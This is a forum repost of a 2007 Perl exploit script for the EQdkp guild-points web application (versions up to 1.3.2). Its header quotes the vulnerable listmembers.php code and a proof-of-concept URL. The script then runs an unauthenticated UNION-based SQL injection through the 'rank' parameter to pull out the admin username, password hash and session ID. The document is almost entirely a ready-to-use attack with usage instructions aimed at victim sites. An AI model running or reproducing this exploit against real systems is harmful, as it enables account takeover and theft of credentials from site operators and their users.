查看完整版本: EQdkp <= 1.3.2 (listmembers.php rank) Remote SQL Injection Exploit

猪猪 2007-6-5 08:05

EQdkp <= 1.3.2 (listmembers.php rank) Remote SQL Injection Exploit

#!/usr/bin/perl -w

#################################################################################
#                                                                                #
#                      EQdkp <= 1.3.2 SQL Injection Exploit                        #
#                                                                                #
# Discovered by: Silentz                                                        #
# Payload: Admin Username & Hash Retrieval                                        #
# Website: [url]http://www.w4ck1ng.com[/url]                                                #
#                                                                                 #
# Vulnerable Code (listmembers.php):                                                #
#                                                                                #
#  $sql = 'SELECT m.*, (m.member_earned-m.member_spent+m.member_adjustment)         #
#  AS member_current, member_status, r.rank_name, r.rank_hide, r.rank_prefix,         #
#  r.rank_suffix, c.class_name AS member_class, c.class_armor_type AS                 #
#  armor_type, c.class_min_level AS min_level, c.class_max_level AS max_level        #
#  FROM ' . MEMBERS_TABLE . ' m, ' . MEMBER_RANKS_TABLE . ' r, ' . CLASS_TABLE         #
#  . ' c WHERE c.class_id = m.member_class_id AND (m.member_rank_id =                 #
#  r.rank_id)';                                                                        #
#                                                                                    #
#         if ( !empty($_GET['rank']) )                                                #
#    {                                                                                #
#        $sql .= " AND r.rank_name='" . urldecode($_GET['rank']) . "'";                #
#    }                                                                                #
#                                                                                #
# PoC: [url]http://victim.com/listmembers.php?show=all&rank=%2527[/url] UNION SELECT         #
#      0,username,0,0,0,0,0,0,0,0,0,0,0,0,0,user_password,0,NULL,NULL,0,0,0,0         #
#      FROM eqdkp_users where user_id=1/*                                        #
#                                                                                 #
# Subject To: Nothing, no authentication...nada!                                #
# GoogleDork: Get your own!                                                        #
#                                                                                #
# Shoutz: The entire w4ck1ng community                                                #
#                                                                                #
#################################################################################

use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "                  EQdkp <= 1.3.2 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_eqdkp.pl [PATH]\r\n\r\n";
print "[PATH] = Path where EQdkp is located\r\n\r\n";
print "e.g. w4ck1ng_eqdkp.pl [url]http://victim.com/eqdkp/[/url]\r\n";
print "-------------------------------------------------------------------------\r\n";
print "                             [url]http://www.w4ck1ng.com[/url]\r\n";
print "                                    ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "listmembers.php?show=all&rank=%2527 UNION SELECT 0,username,0,0,0,0,0,0,0,0,0,0,0,0,0,user_password,0,NULL,NULL,0,0,0,0 FROM eqdkp_users where user_id=1/*";
$res = $b->request(HTTP::Request->new(GET=>$host));

print "-------------------------------------------------------------------------\r\n";
print "                  EQdkp <= 1.3.2 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";

if($res->content =~ /"><i>(.*?)<\/i><\/a><\/td>/){
print "[+] Admin User : $1\n";}

else {print "\n[-] Unable to retrieve admin username..."}

if($res->content =~ /">([0-9a-fA-F]{32})<\/a><\/td>/){
print "[+] Admin Hash : $1";}

else {print "\n[-] Unable to retrieve admin hash...\n";}

$host = $ARGV[0] . "listmembers.php?show=all&rank=%2527 UNION SELECT 0,session_id,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,NULL,NULL,0,0,0,0 FROM eqdkp_sessions where session_user_id=1/*";
$res = $b->request(HTTP::Request->new(GET=>$host));

if($res->content =~ /"><i>(.*?)<\/i><\/a><\/td>/){
print "[+] Admin SessionID : $1\n";}

else {print "\n[-] Unable to retrieve admin sessionid...he/she is not logged in!\n";}

print "-------------------------------------------------------------------------\r\n";
print "                             [url]http://www.w4ck1ng.com[/url]\r\n";
print "                                    ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";

# Syue.com [2007-06-04]
页: [1]
查看完整版本: EQdkp <= 1.3.2 (listmembers.php rank) Remote SQL Injection Exploit